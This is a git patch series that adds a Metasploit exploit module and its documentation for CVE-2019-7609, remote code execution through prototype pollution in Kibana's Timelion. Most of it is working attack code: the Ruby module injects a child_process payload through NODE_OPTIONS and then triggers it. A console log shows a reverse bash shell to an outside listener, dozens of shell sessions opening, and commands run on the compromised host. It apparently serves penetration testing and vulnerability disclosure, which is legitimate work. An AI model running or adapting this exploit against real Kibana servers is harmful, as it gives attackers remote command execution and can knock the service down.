From 5382eb22d1f0f7b75308ad04c31506184abb28eb Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 24 Aug 2023 16:08:08 -0400 Subject: [PATCH 1/4] kibana exploit --- ...kibana_timelion_prototype_pollution_rce.md | 104 ++++++++++ ...kibana_timelion_prototype_pollution_rce.rb | 184 ++++++++++++++++++ 2 files changed, 288 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/kibana_timelion_prototype_pollution_rce.md create mode 100644 modules/exploits/linux/http/kibana_timelion_prototype_pollution_rce.rb diff --git a/documentation/modules/exploit/linux/http/kibana_timelion_prototype_pollution_rce.md b/documentation/modules/exploit/linux/http/kibana_timelion_prototype_pollution_rce.md new file mode 100644 index 000000000000..c3c4459622b0 --- /dev/null +++ b/documentation/modules/exploit/linux/http/kibana_timelion_prototype_pollution_rce.md @@ -0,0 +1,104 @@ +## Vulnerable Application + +Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. +An attacker with access to the Timelion application could send a request that will attempt to execute +javascript code. This leads to an arbitrary command execution with permissions of the +Kibana process on the host system. + +Tested against kibana 6.5.4, yielding between 43-53 shells. + +### Install + +Use the [docker-compose.yml](https://github.com/mpgn/CVE-2019-7609/issues/1) but also note the comment +about needing `6.5.4`. + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use use exploit/linux/http/kibana_timelion_prototype_pollution_rce` +1. Do: `set rhost [ip]` +1. Do: `set lhost [ip]` +1. Do: `run` +1. You should get a shell as the kibana user. + +## Options + +## Scenarios + +### Kibana 6.5.4 on Docker + +``` +msf6 > use exploit/linux/http/kibana_timelion_prototype_pollution_rce +[*] Using configured payload cmd/unix/reverse_bash +msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > set verbose true +verbose => true +msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > set lhost 111.111.1.111 +lhost => 111.111.1.111 +msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > exploit + +[+] bash -c '0<&78-;exec 78<>/dev/tcp/111.111.1.111/4444;sh <&78 >&78 2>&78' +[*] Started reverse TCP handler on 111.111.1.111:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Exploitable Version Detected: 6.5.4 +[*] Polluting Prototype in Timelion +[*] Grabbing XSRF Token +[*] Trigginger payload execution via canvas socket +[*] Waiting for shells +[*] Command shell session 1 opened (111.111.1.111:4444 -> 172.19.0.3:34480) at 2023-08-24 15:14:03 -0400 +[*] Command shell session 2 opened (111.111.1.111:4444 -> 172.19.0.3:34486) at 2023-08-24 15:14:03 -0400 +[*] Command shell session 3 opened (111.111.1.111:4444 -> 172.19.0.3:34498) at 2023-08-24 15:14:03 -0400 +[*] Unsetting to stop raining shells from a lacerated kibana + +[*] Command shell session 4 opened (111.111.1.111:4444 -> 172.19.0.3:34512) at 2023-08-24 15:14:08 -0400 +[*] Command shell session 8 opened (111.111.1.111:4444 -> 172.19.0.3:34548) at 2023-08-24 15:14:09 -0400 +[*] Command shell session 6 opened (111.111.1.111:4444 -> 172.19.0.3:34530) at 2023-08-24 15:14:09 -0400 +[*] Command shell session 7 opened (111.111.1.111:4444 -> 172.19.0.3:34546) at 2023-08-24 15:14:09 -0400 +[*] Command shell session 10 opened (111.111.1.111:4444 -> 172.19.0.3:34556) at 2023-08-24 15:14:14 -0400 +[*] Command shell session 13 opened (111.111.1.111:4444 -> 172.19.0.3:34566) at 2023-08-24 15:14:15 -0400 +[*] Command shell session 12 opened (111.111.1.111:4444 -> 172.19.0.3:34562) at 2023-08-24 15:14:15 -0400 +[*] Command shell session 11 opened (111.111.1.111:4444 -> 172.19.0.3:34560) at 2023-08-24 15:14:15 -0400 +[*] Command shell session 14 opened (111.111.1.111:4444 -> 172.19.0.3:34576) at 2023-08-24 15:14:21 -0400 +[*] Command shell session 15 opened (111.111.1.111:4444 -> 172.19.0.3:34592) at 2023-08-24 15:14:22 -0400 +[*] Command shell session 17 opened (111.111.1.111:4444 -> 172.19.0.3:34612) at 2023-08-24 15:14:22 -0400 +[*] Command shell session 16 opened (111.111.1.111:4444 -> 172.19.0.3:34602) at 2023-08-24 15:14:22 -0400 +[*] Command shell session 18 opened (111.111.1.111:4444 -> 172.19.0.3:34616) at 2023-08-24 15:14:27 -0400 +[*] Command shell session 19 opened (111.111.1.111:4444 -> 172.19.0.3:34624) at 2023-08-24 15:14:28 -0400 +[*] Command shell session 20 opened (111.111.1.111:4444 -> 172.19.0.3:34626) at 2023-08-24 15:14:28 -0400 +[*] Command shell session 21 opened (111.111.1.111:4444 -> 172.19.0.3:34638) at 2023-08-24 15:14:28 -0400 +[*] Command shell session 22 opened (111.111.1.111:4444 -> 172.19.0.3:34642) at 2023-08-24 15:14:33 -0400 +[*] Command shell session 25 opened (111.111.1.111:4444 -> 172.19.0.3:34676) at 2023-08-24 15:14:35 -0400 +[*] Command shell session 24 opened (111.111.1.111:4444 -> 172.19.0.3:34662) at 2023-08-24 15:14:35 -0400 +[*] Command shell session 23 opened (111.111.1.111:4444 -> 172.19.0.3:34652) at 2023-08-24 15:14:35 -0400 +[*] Command shell session 9 opened (111.111.1.111:4444 -> 172.19.0.3:34550) at 2023-08-24 15:14:39 -0400 +[*] Command shell session 26 opened (111.111.1.111:4444 -> 172.19.0.3:34692) at 2023-08-24 15:14:40 -0400 +[*] Command shell session 28 opened (111.111.1.111:4444 -> 172.19.0.3:34720) at 2023-08-24 15:14:41 -0400 +[*] Command shell session 29 opened (111.111.1.111:4444 -> 172.19.0.3:34736) at 2023-08-24 15:14:41 -0400 +[*] Command shell session 27 opened (111.111.1.111:4444 -> 172.19.0.3:34704) at 2023-08-24 15:14:41 -0400 +[*] Command shell session 31 opened (111.111.1.111:4444 -> 172.19.0.3:34758) at 2023-08-24 15:14:46 -0400 +[*] Command shell session 32 opened (111.111.1.111:4444 -> 172.19.0.3:34762) at 2023-08-24 15:14:47 -0400 +[*] Command shell session 33 opened (111.111.1.111:4444 -> 172.19.0.3:34772) at 2023-08-24 15:14:47 -0400 +[*] Command shell session 34 opened (111.111.1.111:4444 -> 172.19.0.3:34788) at 2023-08-24 15:14:47 -0400 +[*] Command shell session 35 opened (111.111.1.111:4444 -> 172.19.0.3:34800) at 2023-08-24 15:14:52 -0400 +[*] Command shell session 38 opened (111.111.1.111:4444 -> 172.19.0.3:34828) at 2023-08-24 15:14:54 -0400 +[*] Command shell session 36 opened (111.111.1.111:4444 -> 172.19.0.3:34804) at 2023-08-24 15:14:54 -0400 +[*] Command shell session 37 opened (111.111.1.111:4444 -> 172.19.0.3:34818) at 2023-08-24 15:14:54 -0400 +[*] Command shell session 39 opened (111.111.1.111:4444 -> 172.19.0.3:34838) at 2023-08-24 15:14:58 -0400 +[*] Command shell session 42 opened (111.111.1.111:4444 -> 172.19.0.3:34868) at 2023-08-24 15:15:00 -0400 +[*] Command shell session 41 opened (111.111.1.111:4444 -> 172.19.0.3:34860) at 2023-08-24 15:15:00 -0400 +[*] Command shell session 40 opened (111.111.1.111:4444 -> 172.19.0.3:34850) at 2023-08-24 15:15:00 -0400 +[*] Command shell session 43 opened (111.111.1.111:4444 -> 172.19.0.3:34870) at 2023-08-24 15:15:05 -0400 +[*] Command shell session 45 opened (111.111.1.111:4444 -> 172.19.0.3:34890) at 2023-08-24 15:15:06 -0400 +[*] Command shell session 44 opened (111.111.1.111:4444 -> 172.19.0.3:34886) at 2023-08-24 15:15:06 -0400 +[*] Command shell session 46 opened (111.111.1.111:4444 -> 172.19.0.3:34898) at 2023-08-24 15:15:06 -0400 +[*] Command shell session 30 opened (111.111.1.111:4444 -> 172.19.0.3:34742) at 2023-08-24 15:15:10 -0400 +[*] Command shell session 47 opened (111.111.1.111:4444 -> 172.19.0.3:34910) at 2023-08-24 15:15:11 -0400 +[*] Command shell session 48 opened (111.111.1.111:4444 -> 172.19.0.3:34914) at 2023-08-24 15:15:13 -0400 + +id +uid=1000(kibana) gid=1000(kibana) groups=1000(kibana) +uname -a +Linux 452752fde1a8 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64 x86_64 x86_64 GNU/Linux +``` diff --git a/modules/exploits/linux/http/kibana_timelion_prototype_pollution_rce.rb b/modules/exploits/linux/http/kibana_timelion_prototype_pollution_rce.rb new file mode 100644 index 000000000000..442a23751360 --- /dev/null +++ b/modules/exploits/linux/http/kibana_timelion_prototype_pollution_rce.rb @@ -0,0 +1,184 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GoodRanking + include Msf::Exploit::Remote::HttpClient + prepend Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Kibana Timelion Prototype Pollution RCE', + 'Description' => %q{ + Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. + An attacker with access to the Timelion application could send a request that will attempt to execute + javascript code. This leads to an arbitrary command execution with permissions of the + Kibana process on the host system. + + Tested against kibana 6.5.4, yielding between 43-53 shells. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'MichaƂ Bentkowski', # original PoC, analysis + 'Gaetan Ferry' # more analysis + ], + 'References' => [ + [ 'URL', 'https://github.com/mpgn/CVE-2019-7609'], + [ 'URL', 'https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/'], + [ 'CVE', '2019-7609'] + ], + 'Platform' => ['unix'], + 'Privileged' => false, + 'Arch' => ARCH_CMD, + 'Targets' => [ + [ 'Automatic Target', {}] + ], + 'DisclosureDate' => '2019-10-30', + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash', + 'WfsDelay' => 60 # can take a minute to run + }, + 'Notes' => { + # the webserver doesn't die, but certain requests no longer respond before a timeout + # when things go poorly + 'Stability' => [CRASH_SERVICE_DOWN], + 'Reliability' => [IOC_IN_LOGS], + 'SideEffects' => [REPEATABLE_SESSION] + } + ) + ) + register_options( + [ + Opt::RPORT(5601), + # OptString.new('USERNAME', [ true, 'User to login with', 'admin']), + # OptString.new('PASSWORD', [ false, 'Password to login with', '123456']), + OptString.new('TARGETURI', [ true, 'The URI of the Kibana Application', '/']) + ] + ) + end + + def check + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'app', 'kibana'), + 'method' => 'GET', + 'keep_cookies' => true + ) + return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? + return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200 + + # this pulls a big JSON blob that we need as it has the version + unless %r{} =~ res.body + return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") + end + + version_json = CGI.unescapeHTML(Regexp.last_match(1)) + + begin + json_body = JSON.parse(version_json) + rescue JSON::ParserError + return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") + end + + return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") if json_body['version'].nil? + + @version = json_body['version'] + + if Rex::Version.new(@version) < Rex::Version.new('5.6.15') || + ( + Rex::Version.new(@version) < Rex::Version.new('6.6.1') && + Rex::Version.new(@version) >= Rex::Version.new('6.0.0') + ) + return CheckCode::Appears("Exploitable Version Detected: #{@version}") + end + + CheckCode::Safe("Unexploitable Version Detected: #{@version}") + end + + def get_xsrf + vprint_status('Grabbing XSRF Token') + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'bundles', 'canvas.bundle.js'), + 'keep_cookies' => true + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 + + return Regexp.last_match(1) if /"kbn-xsrf":"([^"]+)"/ =~ res.body + + nil + end + + def trigger_socket + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'socket.io/'), # trailing / is required + 'keep_cookies' => true, + 'headers' => { + 'kbn-xsrf' => @xsrf + }, + 'vars_get' => { + 'EIO' => 3, + 'transport' => 'polling' + } + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 + end + + def send_injection(reset: false) + if reset + pload = ".es(*).props(label.__proto__.env.AAAA='').props(label.__proto__.env.NODE_OPTIONS='')" + else + # we leave a marker for our payload to avoid having .to_json process it and make it unusable by the host OS + pload = %|.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("PAYLOADHERE");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')| + end + body = { + 'sheet' => [pload], + 'time' => { + 'from' => 'now-15m', + 'to' => 'now', + 'mode' => 'quick', + 'interval' => 'auto', + 'timezone' => 'America/New_York' + } + } + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'timelion', 'run'), + 'method' => 'POST', + 'ctype' => 'application/json', + 'headers' => { 'kbn-version' => @version }, + 'data' => body.to_json.sub('PAYLOADHERE', payload.encoded.gsub("'", "\\\\\\\\\\\\\\\\'")), + 'keep_cookies' => true + ) + Rex.sleep(2) # let this take hold, if we go too fast we dont get the shell + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 + end + + def exploit + check if @version.nil? + print_status('Polluting Prototype in Timelion') + send_injection + + @xsrf = get_xsrf + fail_with(Failure::UnexpectedReply, "#{peer} - Unable to grab XSRF token") if @xsrf.nil? + + print_status('Trigginger payload execution via canvas socket') + trigger_socket + print_status('Waiting for shells') + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + + def cleanup + print_status('Unsetting to stop raining shells from a lacerated kibana') + send_injection(reset: true) + trigger_socket + super + end +end From b529814563fd6e42a50d177067abd14c10e0b861 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 24 Aug 2023 16:28:05 -0400 Subject: [PATCH 2/4] fix sideeffects/reliability --- .../linux/http/kibana_timelion_prototype_pollution_rce.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/kibana_timelion_prototype_pollution_rce.rb b/modules/exploits/linux/http/kibana_timelion_prototype_pollution_rce.rb index 442a23751360..0df2a18e94aa 100644 --- a/modules/exploits/linux/http/kibana_timelion_prototype_pollution_rce.rb +++ b/modules/exploits/linux/http/kibana_timelion_prototype_pollution_rce.rb @@ -48,8 +48,8 @@ def initialize(info = {}) # the webserver doesn't die, but certain requests no longer respond before a timeout # when things go poorly 'Stability' => [CRASH_SERVICE_DOWN], - 'Reliability' => [IOC_IN_LOGS], - 'SideEffects' => [REPEATABLE_SESSION] + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] } ) ) From db9bf5f6cdef0aa56c4f0ef90d5ad33f314214aa Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 28 Aug 2023 17:42:35 -0400 Subject: [PATCH 3/4] now down to 10 shells! --- ...kibana_timelion_prototype_pollution_rce.rb | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) diff --git a/modules/exploits/linux/http/kibana_timelion_prototype_pollution_rce.rb b/modules/exploits/linux/http/kibana_timelion_prototype_pollution_rce.rb index 0df2a18e94aa..2c3a4e7f057d 100644 --- a/modules/exploits/linux/http/kibana_timelion_prototype_pollution_rce.rb +++ b/modules/exploits/linux/http/kibana_timelion_prototype_pollution_rce.rb @@ -4,7 +4,7 @@ ## class MetasploitModule < Msf::Exploit::Remote - Rank = GoodRanking + Rank = ManualRanking include Msf::Exploit::Remote::HttpClient prepend Exploit::Remote::AutoCheck @@ -19,7 +19,13 @@ def initialize(info = {}) javascript code. This leads to an arbitrary command execution with permissions of the Kibana process on the host system. - Tested against kibana 6.5.4, yielding between 43-53 shells. + Exploitation will require a service or system reboot to restore normal operation. + + The WFSDELAY parameter is crucial for this exploit. Setting it too high will cause MANY shells + (50-100+), while setting it too low will cause no shells to be obtained. WFSDELAY of 10 for a + docker image caused 6 shells. + + Tested against kibana 6.5.4. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -42,7 +48,7 @@ def initialize(info = {}) 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash', - 'WfsDelay' => 60 # can take a minute to run + 'WfsDelay' => 10 # can take a minute to run }, 'Notes' => { # the webserver doesn't die, but certain requests no longer respond before a timeout @@ -171,14 +177,9 @@ def exploit print_status('Trigginger payload execution via canvas socket') trigger_socket print_status('Waiting for shells') - rescue ::Rex::ConnectionError - fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") - end - - def cleanup + Rex.sleep(datastore['WFSDELAY'] / 10) print_status('Unsetting to stop raining shells from a lacerated kibana') send_injection(reset: true) trigger_socket - super end end From c6a26528611051d3eaa88f6aec13a9b8e4550bfc Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 1 Sep 2023 20:34:35 -0400 Subject: [PATCH 4/4] review comments --- .../kibana_timelion_prototype_pollution_rce.rb | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/kibana_timelion_prototype_pollution_rce.rb b/modules/exploits/linux/http/kibana_timelion_prototype_pollution_rce.rb index 2c3a4e7f057d..50ce1f9f1852 100644 --- a/modules/exploits/linux/http/kibana_timelion_prototype_pollution_rce.rb +++ b/modules/exploits/linux/http/kibana_timelion_prototype_pollution_rce.rb @@ -62,8 +62,6 @@ def initialize(info = {}) register_options( [ Opt::RPORT(5601), - # OptString.new('USERNAME', [ true, 'User to login with', 'admin']), - # OptString.new('PASSWORD', [ false, 'Password to login with', '123456']), OptString.new('TARGETURI', [ true, 'The URI of the Kibana Application', '/']) ] ) @@ -178,8 +176,22 @@ def exploit trigger_socket print_status('Waiting for shells') Rex.sleep(datastore['WFSDELAY'] / 10) + unless @reset_done + print_status('Unsetting to stop raining shells from a lacerated kibana') + send_injection(reset: true) + trigger_socket + end + end + + def on_new_session(_client) + return if @reset_done + print_status('Unsetting to stop raining shells from a lacerated kibana') send_injection(reset: true) trigger_socket + @reset_done = true + ensure + super end + end